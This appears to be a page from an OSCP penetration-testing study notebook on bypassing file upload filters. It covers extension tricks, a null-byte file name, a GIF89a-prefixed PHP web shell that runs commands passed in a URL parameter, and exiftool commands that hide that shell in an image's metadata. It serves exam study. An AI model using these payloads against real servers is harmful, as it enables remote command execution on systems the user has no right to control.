OSCP Notes
  • Introduction
  • Port Scanning
  • Nmap Port Scanning
  • Nmap Scripts
  • Services Enumeration
    • SMB Enumeration (Port 139, 445)
    • SNMP Enumeraion (Port 161)
    • NFS Enumeration (Port 111, 2049)
    • SMTP Enumeration (Port 25)
    • DNS Enumeration (Port 53)
    • POP3 (Port 110, 25*)
    • MySQL (Port 3306)
    • Oracle (Port 1521)
    • MsSQL (Port 1433)
  • Web / HTTP
    • Web Scanning
    • CMS
    • Directory Fuzzing
    • File Upload
      • Bypass file upload filtering
      • Bruteforcing extensions
      • WebDAV
    • Bruteforce Authentication
    • LFI and RFI
      • Interesting Files for LFI
      • Null Byte Injection
      • PHP Wrappers
    • ShellShock
    • Post Requests
  • password attacks
    • Brute-force service password
    • Cracking Password
    • Custom Worldlist
  • Exploitaion
    • Searchsploit
    • Compiling the Exploit
  • shell
    • Bind and Reverse shell
    • Upgrading shell
    • msfvenom
  • Linux Post Exploitation
    • Linux Manual Exploitation
    • Linux post exploitation scripts
    • Kernel Exploitation
  • windows post exploitation
    • General
    • Manual Exploitaion
    • Dumping the sam file
    • SUDO SU
    • Automated enumeration script
    • Windows Exploit Suggester
  • file transfer
    • General
    • Linux
    • Windows
  • cheatsheets
    • Command injection Cheatsheet
    • Find Command Cheatsheet
    • Netcat
    • SQL Injection Bypass
    • CheckList
    • XSS Payload
Powered by GitBook
On this page
  1. Web / HTTP
  2. File Upload

Bypass file upload filtering

  • Rename it

    • upload it as shell.php.jpg

  • Blacklisting bypass, change extension

    • php phtml, .php, .php3, .php4, .php5, and .inc

    • bypassed by uploading an unpopular php extensions. such as: pht, phpt, phtml, php3, php4, php5, php6

    • asp asp, .aspx

    • perl .pl, .pm, .cgi, .lib

    • jsp .jsp, .jspx, .jsw, .jsv, and .jspf

    • Coldfusion .cfm, .cfml, .cfc, .dbm

  • Whitelisting bypass

    • Bypassed by uploading a file with some type of tricks,

    • Like adding a null byte injection like (shell.php%00.gif ).

      Or by using double extensions for the uploaded file like ( shell.jpg.php)

  • GIF89a;

    • If they check the content. Basically you just add the text "GIF89a;" before you shell-code.

      GIF89a;            
      <?            
      system($_GET['cmd']);//or you can insert your complete shell code            
      ?>

ExifTool

1. <?php system($_GET['cmd']); ?>  //shell.php

2. exiftool "-comment<=shell.php" malicious.png

3. strings malicious.png | grep system
PreviousFile UploadNextBruteforcing extensions

Last updated 3 years ago